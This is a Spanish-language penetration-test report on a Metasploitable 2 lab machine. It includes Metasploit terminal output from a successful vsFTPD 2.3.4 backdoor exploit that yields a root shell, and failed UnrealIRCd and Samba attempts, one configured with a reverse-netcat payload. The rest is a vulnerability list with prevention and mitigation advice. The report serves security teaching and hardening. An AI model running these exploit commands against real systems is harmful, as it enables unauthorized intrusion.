

Propuesta de Prevención en Pentesting en una máquina metasploitable

Caracas, 13 de febrero de 2026

ÍNDICE

Introducción	3
Metodología	4
Vulnerabilidades detectadas	9
Propuesta de prevención	13
Propuestas de mitigación	16
Impacto Potencial	19
Conclusión	21

Introducción

El presente informe técnico-ejecutivo expone los resultados de un análisis de seguridad ofensiva realizado sobre la infraestructura Metasploitable 2, un entorno diseñado específicamente para la simulación de amenazas y la validación de vectores de ataque. La actividad se fundamentó en una metodología de pentesting de caja negra, cuyo alcance abarca desde el descubrimiento inicial de activos hasta la explotación efectiva de servicios críticos como vsFTPD 2.3.4, UnrealIRCd y Samba. El propósito central no fue únicamente la identificación de fallos, sino la demostración del riesgo residual que representan los sistemas desactualizados y las configuraciones por defecto en un entorno de red moderno.

Durante el análisis, se detectaron múltiples vectores de entrada, destacando la presencia de backdoors (puertas traseras) y servicios sin mecanismos de autenticación, como VNC y DistCC. El éxito de la operación se consolidó mediante la explotación del CVE-2011-2523, logrando una intrusión que resultó en la obtención inmediata de privilegios de root. Este nivel de compromiso evidencia una vulnerabilidad crítica en la superficie de ataque, donde un actor malintencionado podría tomar control total del servidor, comprometer la integridad de los datos y utilizar la máquina como pivote para ataques laterales. En consecuencia, este documento no solo documenta las brechas halladas, sino que propone una hoja de ruta estratégica para la remediación y el endurecimiento (*hardening*) de la infraestructura evaluada.

Metodología

Para la ejecución del análisis de vulnerabilidades y la prueba de penetración sobre la máquina objetivo (identificada como Metasploitable 2), se empleó una metodología estructurada basada en estándares reconocidos como OWASP (Open Web Application Security Project) y PTES (Penetration Testing Execution Standard) . El objetivo principal fue simular un ataque real para identificar, explotar y documentar las debilidades del sistema, demostrando el impacto potencial de las mismas.

El proceso se desarrolló en cinco fases fundamentales, desde la preparación inicial hasta el análisis de resultados, garantizando un enfoque sistemático y reproducible.

1- Fase de Planificación y Preparación

En esta etapa inicial se establecieron las bases de la prueba de penetración:

Definición del Alcance: Se determinó que el objetivo sería una máquina virtual Metasploitable 2 en un entorno de laboratorio aislado. La prueba se realizó bajo un enfoque de "caja negra", donde no se proporcionaron credenciales de acceso ni información privilegiada sobre la configuración del sistema, simulando el punto de partida de un atacante externo.

Establecimiento de Objetivos: Los objetivos específicos incluyeron la identificación de servicios vulnerables, la explotación controlada de fallos de seguridad para obtener acceso al sistema, la captura de flags como evidencia del compromiso, y la documentación de las configuraciones inseguras presentes.

Selección de Herramientas: Se definió un conjunto de herramientas ofensivas estándar en la industria:

- **Nmap:** Para descubrimiento de hosts, escaneo de puertos y detección exhaustiva de versiones de servicios y sistema operativo.

- **Metasploit Framework:** Como plataforma principal para la ejecución de exploits contra servicios vulnerables.

2- Fase de Reconocimiento

Esta fase permitió obtener una visión general de la superficie de ataque del sistema objetivo:

Descubrimiento de Host: Mediante un barrido de red con Nmap, se identificó la dirección IP activa de la máquina Metasploitable 2.

Escaneo de Puertos y Servicios: Se ejecutó un escaneo de puertos TCP y UDP completo y exhaustivo. Utilizando flags de detección de versiones (-sV) y scripts predeterminados (-sC), se identificó una amplia gama de puertos abiertos y los servicios asociados, incluyendo:

- Servicios de red: FTP (21), SSH (22), Telnet (23), SMTP (25).
- Servicios de archivos e impresión: Samba (445), NFS (2049).
- Bases de datos: MySQL (3306), PostgreSQL (5432).
- Servicios de escritorio remoto: VNC (5900).
- Servicios de aplicación: Apache (80), Tomcat (8180), DistCC (3632), IRC (6667), Java RMI (1099).
- Servicios obsoletos: rlogin (512), rexec (513), rsh (514).

3- Fase de Enumeración

Una vez identificados los servicios activos, se procedió a un análisis más profundo para confirmar vectores de ataque potenciales:

Análisis de Versiones: Se documentaron las versiones específicas de cada servicio estas versiones se contrastaron con bases de datos de vulnerabilidades (NVD, CVE Details) para asociarlas con fallos de seguridad conocidos (CVE-2011-2523, etc.).

Se analizó la configuración SSL/TLS de servicios como SMTP y PostgreSQL, identificando protocolos obsoletos (SSLv3) y cifrados débiles susceptibles a ataques como POODLE (CVE-2014-3566) y Logjam (CVE-2015-4000).

Se identificó la vulnerabilidad a denegación de servicio Slowloris (CVE-2007-6750) en el servicio Apache Tomcat.

Correlación con Exploits Conocidos: Se consultó la base de datos de Metasploit Framework para verificar la disponibilidad de módulos de explotación para las vulnerabilidades identificadas, priorizando aquellas con un alto impacto potencial (vsFTPD, UnreallRCd, Samba, Java RMI, DistCC).

4- Fase de Explotación

En esta fase se procedió a validar las vulnerabilidades mediante intentos controlados de explotación:

Selección de Objetivos: Se priorizaron los servicios con vulnerabilidades críticas conocidas y exploits públicos disponibles. Se seleccionaron para explotación activa:

- vsFTPD 2.3.4 Backdoor (Puerto 21): Se utilizó el módulo de Metasploit correspondiente al CVE-2011-2523.
- UnreallRCd Backdoor (Puerto 6667): Se intentó la explotación del backdoor troyanizado en la versión 3.2.8.1.
- Samba usermap script (Puerto 445): Se intentó explotar la vulnerabilidad en el script de mapeo de usuarios.

Ejecución y Resultados:

Éxito (vsFTPD): La explotación del backdoor en vsFTPD 2.3.4 fue exitosa, resultando en la obtención inmediata de una sesión de shell remota con privilegios de root. Este acceso de máximo nivel se verificó con el comando whoami, demostrando un compromiso total del sistema.

```
kali@kali: ~  
Session Actions Edit View Help  
msf exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/unix/ftp/vsftpd_234_b  
ackdoor Interrupt: use the 'exit' command to quit  
msf exploit(unix/ftp/vsftpd_234_backdoor) > Interrupt: use the 'exit' command  
to quit  
msf exploit(unix/ftp/vsftpd_234_backdoor) > ^T  
zsh: suspended msfconsole  
  
(kali@kali)-[~]  
$ msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 19  
2.168.1.2; set PAYLOAD cmd/unix/interact; run"  
[*] No payload configured, defaulting to cmd/unix/interact  
RHOSTS => 192.168.1.2  
PAYLOAD => cmd/unix/interact  
[*] 192.168.1.2:21 - Banner: 220 (vsFTPD 2.3.4)  
[*] 192.168.1.2:21 - USER: 331 Please specify the password.  
[+] 192.168.1.2:21 - Backdoor service has been spawned, handling ...  
[+] 192.168.1.2:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.1.1:41981 -> 192.168.1.2:6200) at  
2026-01-23 20:50:30 -0500  
  
|
```

Fallos (UnrealIRCd y Samba): Los intentos de explotación contra UnrealIRCd y Samba no lograron establecer una sesión. Esto podría deberse a configuraciones específicas de la instancia analizada o a ligeras variaciones en las versiones de los servicios.

```
(kali@kali)-[~]  
$ msfconsole -q -x "use exploit/unix/irc/unreal_ircd_3281_backdoor; set RHOSTS 19  
RHOSTS => 192.168.1.2  
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):  


| Name    | Current Setting | Required | Description                                                                                    |
|---------|-----------------|----------|------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                       |
| CPORT   |                 | no       | The local client port                                                                          |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][*]                                     |
| RHOSTS  | 192.168.1.2     | yes      | The target host(s), see https://docs.metasploit.com/docs/using-the-framework/04-targeting.html |
| RPORT   | 6667            | yes      | The target port (TCP)                                                                          |

  
Exploit target:  


| Id | Name             |
|----|------------------|
| 0  | Automatic Target |

  
View the full module info with the info, or info -d command.  
[-] 192.168.1.2:6667 - Exploit failed: A payload has not been selected.  
[*] Exploit completed, but no session was created.  
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > |
```

```
Session Actions Edit View Help
Module options (exploit/multi/smba/usermap_script):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      127.0.0.1          no        The local client address
  CPORT      4444               no        The local client port
  Proxies    []                 no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks
  RHOSTS     192.168.1.2        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139                yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     127.0.0.1        yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
msf exploit(multi/smba/usermap_script) >
```

5- Fase de Post-Explotación y Análisis de Impacto

Tras obtener acceso, se documentó el alcance del compromiso y se evaluó el impacto:

- **Confirmación de Privilegios:** Se confirmó que el acceso obtenido a través de vsFTPD era con el usuario root, eliminando la necesidad de cualquier técnica de escalada de privilegios.
- **Captura de Evidencias (Flags):** Se buscaron y documentaron archivos "flag" en el sistema como prueba concluyente de la intrusión.
- **Documentación de Vulnerabilidades:** Se catalogaron las 12 vulnerabilidades y configuraciones inseguras identificadas a lo largo del proceso, incluyendo tanto las explotables con éxito como aquellas que representan un riesgo potencial.
- **Evaluación de Impacto:** Se determinó que la presencia de una vulnerabilidad como la de vsFTPD, que concede acceso root inmediato, representa un riesgo crítico. Un atacante real podría robar, modificar o destruir toda la información del sistema, utilizarlo como punto de partida para atacar otros sistemas en la red (movimiento lateral), o interrumpir los servicios por completo.

Vulnerabilidades detectadas

A continuación, se presenta un listado de las vulnerabilidades identificadas durante el proceso de pentesting en la máquina Metasploitable 2. Para cada una se incluye una definición breve y el alcance del impacto en el sistema.

1. vsFTPD 2.3.4 Backdoor (CVE-2011-2523)

Definición: Backdoor intencional en el servidor FTP que se activa enviando un carácter especial :) en el nombre de usuario, abriendo una shell inversa en el puerto 6200.

Alcance: Crítico - Permite acceso root inmediato al sistema sin autenticación.

2. UnrealIRCd Backdoor

Definición: Backdoor troyanizado en el servidor IRC versión 3.2.8.1 que permite ejecución remota de comandos mediante una secuencia especial.

Alcance: Alto - Intento de explotación sin éxito en esta instancia, pero representa riesgo crítico si es explotable.

3. Samba usermap script

Definición: Vulnerabilidad en el script de mapeo de usuarios de Samba que permite ejecución remota de comandos cuando la opción username map script está habilitada.

Alcance: Alto - No se logró explotar en esta instancia, probablemente por configuración específica del servicio.

4. Java RMI Registry (Puerto 1099)

Definición: Configuración por defecto insegura que permite carga remota de clases, facilitando la ejecución de código arbitrario en el contexto del servicio RMI.

Alcance: Alto - Podría permitir ejecución remota de código sin autenticación.

5. VNC sin autenticación (Puerto 5900)

Definición: Servicio VNC configurado sin requerir contraseña, permitiendo acceso completo a la interfaz gráfica del sistema.

Alcance: Alto - Cualquier usuario en la red puede visualizar y controlar el escritorio remoto.

6. DistCC sin autenticación (Puerto 3632)

Definición: Servicio de compilación distribuida configurado sin autenticación, permitiendo ejecución remota de comandos mediante explotación de su funcionalidad.

Alcance: Alto - Permite ejecutar comandos arbitrarios en el sistema.

7. Apache Tomcat Slowloris (Puerto 8180) - CVE-2007-6750

Definición: Vulnerabilidad de denegación de servicio que permite mantener conexiones HTTP abiertas indefinidamente, consumiendo recursos del servidor.

Alcance: Medio - Puede provocar que el servicio web quede inaccesible para usuarios legítimos.

8. PostgreSQL SSL Vulnerabilities (Puerto 5432)

Definición: Múltiples vulnerabilidades en la implementación SSL/TLS:

- **CVE-2014-0224 (CCS Injection):** Permite la inyección de datos en conexiones cifradas.
- **CVE-2014-3566 (POODLE):** Permite descifrar información sensible en conexiones SSL 3.0.

Alcance: Medio-Alto - Exposición de información sensible y posibles ataques de intermediario (MITM).

9. SMTP TLS Vulnerabilities (Puerto 25)

Definición: Debilidades en la implementación TLS:

- **CVE-2015-4000 (Logjam):** Permite degradar conexiones a cifrado débil.
- **Grupos Diffie-Hellman de 1024 bits:** Insuficientes para garantizar confidencialidad a largo plazo.

Alcance: Medio - Exposición de comunicaciones a ataques de descifrado.

10. NFS sin restricciones (Puerto 2049)

Definición: Exportación de directorios del sistema sin control de acceso adecuado, permitiendo montaje remoto de sistemas de archivos.

Alcance: Alto - Cualquier usuario en la red puede montar y acceder a archivos del sistema.

11. Servicios sin autenticación o con autenticación débil

- Telnet (Puerto 23)

Definición: Acceso de consola remota sin cifrado, credenciales enviadas en texto claro.

Alcance: Alto - Intercepción de credenciales y sesiones.

- rlogin / rsh (Puertos 512-514)

Definición: Servicios de shell remoto obsoletos con autenticación débil o inexistente.

Alcance: Alto - Acceso no autorizado al sistema.

- **MySQL (Puerto 3306)**

Definición: Base de datos accesible con credenciales débiles o configuraciones por defecto (usuario root sin contraseña).

Alcance: Medio - Acceso a bases de datos y posible extracción de información.

12. Versiones obsoletas y vulnerables de servicios

- **OpenSSH 4.7p1**

Definición: Versión antigua que acumula múltiples vulnerabilidades conocidas en autenticación, privilegios y protocolo.

Alcance: Medio-Alto - Posible compromiso de conexiones SSH.

- **Apache 2.2.8**

Definición: Versión desactualizada con vulnerabilidades en módulos, denegación de servicio y exposición de información.

Alcance: Medio - Exposición del servidor web a ataques conocidos.

- **PHP / MySQL desactualizados**

Definición: Versiones antiguas que contienen vulnerabilidades conocidas en funciones y configuraciones por defecto.

Alcance: Medio - Posible ejecución de código malicioso en aplicaciones web.

Propuesta de prevención

La prevención busca establecer controles y buenas prácticas que eviten la aparición de vulnerabilidades. A continuación, se presentan las estrategias preventivas recomendadas de forma resumida.

1- Gestión de Vulnerabilidades (Proceso Continuo)

- **Inventario de activos:** Mantener un registro actualizado de todos los sistemas, servicios y versiones.
- **Escaneo periódico:** Realizar escaneos automáticos semanales/mensuales con herramientas como Nessus u OpenVAS.
- **Priorización:** Clasificar vulnerabilidades por criticidad usando CVSS. Las críticas (acceso root sin autenticación) deben atenderse primero.
- **Plan de remediación:** Asignar responsables y plazos. Críticas en 24-48 horas.
- **Verificación:** Confirmar con un nuevo escaneo que la vulnerabilidad fue corregida.

2- Política de Actualizaciones y Parches

- **Inventario de versiones:** Identificar software en fin de vida (como vsFTPd 2.3.4, OpenSSH 4.7p1) y reemplazarlo.
- **Frecuencia de actualización:** Críticas (inmediatas), importantes (mensuales), menores (trimestrales).
- **Boletines de seguridad:** Suscribirse a fuentes oficiales para conocer vulnerabilidades el mismo día de su publicación.
- **Automatización:** Aplicar parches automáticos en sistemas no críticos; en críticos, probar antes en entornos de prueba.
- **Política de fin de vida:** Prohibir software sin soporte en producción.

3- Segmentación de Red

- **Zonas de seguridad:** Dividir la red en DMZ, zona interna, zona crítica y zona de pruebas.
- **Firewalls internos:** Controlar el tráfico entre zonas. La zona de pruebas no debe acceder a producción.

- **Principio de denegar por defecto:** Solo permitir tráfico estrictamente necesario.
- **VLANs:** Separar lógicamente los segmentos a nivel de switch.
- **Monitoreo entre segmentos:** Alertar sobre tráfico anómalo (ej. zona de pruebas intentando acceder a base de datos crítica).

4- Gestión de Configuraciones Seguras (Hardening)

- **Línea base de seguridad:** Documento con configuraciones seguras para cada sistema y servicio.
- **Deshabilitar servicios innecesarios:** Eliminar Telnet, rlogin, rsh, VNC sin autenticación, DistCC.
- **Autenticación robusta:** Exigir autenticación en todos los servicios. Contraseñas seguras y 2FA para accesos remotos.

5- Monitoreo Continuo y Detección Temprana

- **Centralización de logs:** Enviar todos los logs a un servidor central (ELK, Splunk)
- **SIEM:** Correlacionar eventos en tiempo real para detectar patrones de ataque.
- **IDS/IPS:** Implementar sensores como Snort o Suricata para detectar firmas de ataques conocidos.
- **Alertas en tiempo real:** Notificar al equipo de seguridad por correo o mensajería ante eventos críticos.
- **Playbooks de respuesta:** Procedimientos documentados para cada tipo de incidente (ej. "backdoor en FTP detectado").

6- Capacitación y Concientización

- **Capacitación técnica:** Formar al personal de TI en hardening, identificación de versiones obsoletas y respuesta a incidentes.
- **Concientización para usuarios:** Enseñar conceptos básicos: no compartir contraseñas, identificar phishing, reportar actividades sospechosas.

- **Simulacros:** Realizar campañas de phishing controladas para evaluar y mejorar la preparación.

7- Gestión de Accesos y Privilegios

- **Mínimo privilegio:** Las cuentas deben tener solo los permisos necesarios para su función.
- **Revisión periódica:** Eliminar cuentas inactivas y revocar privilegios innecesarios.
- **Autenticación multifactor (MFA):** Obligatoria para accesos remotos y cuentas privilegiadas.

Propuestas de mitigación

La mitigación se enfoca en corregir las vulnerabilidades ya identificadas. A continuación, se presentan las acciones concretas para cada hallazgo, priorizadas por criticidad.

Vulnerabilidades Críticas

- **vsFTPD 2.3.4 Backdoor**

Detener y deshabilitar el servicio FTP de inmediato. Desinstalar vsFTPD 2.3.4 por completo. Instalar una versión actualizada de vsFTPD o migrar a SFTP/FTPS. Confirmar que el puerto 21 ya no está abierto.

Vulnerabilidades con Intento de Explotación

- **UnrealIRCd Backdoor**

Detener el servicio IRC si no es necesario. Si es requerido, actualizar a una versión reciente de UnrealIRCd posterior a la 3.2.8.1.

- **Samba usermap script**

Revisar la configuración de Samba y deshabilitar la opción username map script si está activada. Actualizar Samba a la última versión estable disponible.

Configuraciones Inseguras y Servicios sin Autenticación

- **VNC sin autenticación**

Detener el servicio VNC. Si es necesario, configurarlo con autenticación obligatoria y contraseña segura, usando túneles SSH para cifrar la conexión.

- **NFS sin restricciones**

Revisar el archivo `/etc/exports` y restringir las exportaciones a IPs específicas y confiables. Aplicar opciones de seguridad como `root_squash`.

- **Telnet y rlogin/rsh**

Deshabilitar Telnet y los servicios rlogin/rsh. Reemplazarlos por SSH para acceso remoto seguro.

- **MySQL y PostgreSQL**

Establecer contraseñas seguras para los usuarios root y administrativos. Ejecutar `mysql_secure_installation`. Restringir el acceso a las bases de datos solo desde IPs autorizadas.

Vulnerabilidades Criptográficas

- **PostgreSQL SSL**

Deshabilitar SSLv3 en la configuración. Actualizar PostgreSQL a una versión que incluya parches para CVE-2014-0224 y CVE-2014-3566. Forzar el uso de TLS 1.2 o superior.

- **SMTP TLS**

Deshabilitar cifrados Diffie-Hellman de 1024 bits y protocolos obsoletos. Actualizar el servidor de correo y configurarlo para usar grupos Diffie-Hellman de 2048 bits o superiores.

Denegación de Servicio

- **Apache Tomcat Slowloris**

Configurar el servidor Tomcat para limitar el tiempo de espera de conexiones. Ajustar parámetros como `connectionTimeout` y `keepAliveTimeout`. Considerar usar un proxy inverso como Nginx.

Versiones Obsoletas

- **OpenSSH 4.7p1**

Actualizar a la última versión estable de OpenSSH. Deshabilitar protocolos antiguos y usar solo SSHv2.

- **Apache 2.2.8**

Actualizar a Apache 2.4.x. Revisar la configuración de módulos y deshabilitar los innecesarios.

- **PHP y MySQL desactualizados**

Actualizar PHP a una versión soportada (7.4 u 8.x). Actualizar MySQL a MySQL 8.x o migrar a MariaDB.

- **Bind 9.4.2**

Actualizar a la última versión de Bind. Configurar DNSSEC para prevenir envenenamiento de caché.

- **Java RMI Registry y DistCC**

Si no son necesarios, deshabilitar estos servicios. Si son requeridos, restringir su acceso por firewall y aplicar los parches disponibles.

Mitigaciones Generales

- **Firewall**

Implementar reglas de firewall que permitan solo el tráfico necesario. Bloquear todo tráfico entrante a puertos no autorizados. Permitir accesos administrativos solo desde IPs confiables y mediante VPN.

- **Autenticación multifactor**

Implementar MFA para todos los accesos remotos administrativos.

- **Monitoreo**

Configurar alertas específicas para patrones de ataque conocidos, como el backdoor de vsFTPD o intentos de explotación de Samba.

- **Backup**

Antes de aplicar cambios críticos, realizar un backup completo del sistema y tener un plan de recuperación.

Impacto Potencial

La explotación exitosa de las vulnerabilidades encontradas en el sistema Metasploitable 2 permite dimensionar el riesgo real al que estaría expuesta una organización si mantuviera configuraciones y software similares en un entorno de producción. El caso analizado demuestra que una sola vulnerabilidad crítica, como el backdoor en vsFTPD 2.3.4, es suficiente para que un atacante obtenga control total del sistema sin necesidad de autenticación. A continuación, se describe el impacto potencial desde diferentes perspectivas.

- **Impacto en la Confidencialidad**

El acceso root obtenido mediante el backdoor de vsFTPD 2.3.4 otorga control total sobre el sistema, lo que implica que un atacante podría acceder a todos los archivos del sistema, incluyendo bases de datos con información sensible de clientes, empleados o financiera. Además, podría leer correos electrónicos almacenados en el servidor, extraer credenciales de usuarios y servicios almacenadas en archivos de configuración, y capturar tráfico de red desde el propio sistema comprometido para obtener más credenciales. El impacto en la confidencialidad es total, ya que no hay información que pueda considerarse segura una vez que el atacante tiene acceso root.

- **Impacto en la Integridad**

Con acceso de superusuario, un atacante puede modificar cualquier dato del sistema, incluyendo la alteración de registros de bases de datos para cometer fraudes o manipular resultados, y la modificación de páginas web alojadas en el servidor para distribuir malware o realizar phishing. También puede cambiar configuraciones de seguridad para facilitar ataques futuros o mantener el acceso, manipular logs para borrar evidencias del atacante, dificultando la investigación forense, e insertar puertas traseras adicionales en servicios legítimos para garantizar acceso persistente. La confianza en la integridad de los datos almacenados en el sistema quedaría completamente destruida.

- **Impacto en la Disponibilidad**

Un atacante con privilegios administrativos puede afectar la disponibilidad del sistema de múltiples formas, como detener servicios críticos, provocando interrupciones del negocio, o saturar el sistema con procesos maliciosos que consuman todos los recursos disponibles. También puede eliminar archivos esenciales para el funcionamiento del sistema operativo o las aplicaciones, utilizar el sistema como punto de lanzamiento para ataques de denegación de servicio contra otros objetivos, o cifrar los datos del sistema y exigir un rescate, algo perfectamente posible desde una sesión root. El tiempo de inactividad resultante puede traducirse en pérdidas económicas directas y daño a la reputación.

Conclusión

El ejercicio de pentesting realizado sobre la máquina Metasploitable 2 ha permitido evidenciar de forma práctica y contundente las graves consecuencias que puede tener la falta de mantenimiento y actualización en sistemas de producción. A lo largo del análisis, se identificaron un total de doce vulnerabilidades significativas, que van desde backdoors intencionales en software obsoleto hasta configuraciones inseguras y servicios sin autenticación. La explotación exitosa del backdoor en vsFTPD 2.3.4 demostró que un atacante con conocimientos básicos y herramientas disponibles públicamente puede obtener acceso root a un sistema en cuestión de segundos, sin necesidad de credenciales ni técnicas avanzadas.

El impacto potencial de un compromiso como el demostrado es difícil de exagerar. Con acceso root, un atacante puede leer, modificar o destruir cualquier información del sistema, interrumpir servicios críticos, utilizar el servidor como plataforma para atacar otros sistemas de la red y establecer puertas traseras que permitan un acceso persistente. A nivel organizacional, esto puede traducirse en pérdidas económicas significativas, daño reputacional irreversible, sanciones legales por incumplimiento de normativas de protección de datos y, en última instancia, la pérdida de confianza por parte de clientes y socios comerciales.

Frente a esta realidad, las propuestas de prevención y mitigación presentadas en este informe no son opcionales ni meramente recomendables: son absolutamente necesarias. La prevención, mediante la implementación de procesos continuos de gestión de vulnerabilidades, segmentación de red, hardening de sistemas y monitoreo constante, busca reducir la probabilidad de que vulnerabilidades similares aparezcan en el futuro. La mitigación, por su parte, aborda de forma inmediata los hallazgos concretos de este análisis, priorizando las acciones críticas que deben ejecutarse en cuestión de horas para eliminar los riesgos más graves.

El caso de Metasploitable 2, aunque corresponde a un entorno de laboratorio diseñado específicamente para ser vulnerable, refleja situaciones que desgraciadamente siguen siendo comunes en entornos reales. Sistemas olvidados, configuraciones por defecto que nunca se revisan, servicios que se instalan "provisionalmente" y quedan activos durante años, ausencia de políticas de actualización.

Como conclusión final, este ejercicio de pentesting cumple su objetivo de demostrar la importancia crítica de mantener los sistemas actualizados y correctamente configurados. Las vulnerabilidades existen, son conocidas y continuarán apareciendo. La diferencia entre una organización que sufre un incidente grave y otra que lo evita no está en la sofisticación de los ataques que recibe, sino en la solidez de sus procesos de seguridad y en su capacidad para anticiparse a las amenazas. La inversión en prevención no es un gasto, sino una necesidad estratégica para garantizar la continuidad del negocio y la protección de los activos más valiosos de la organización.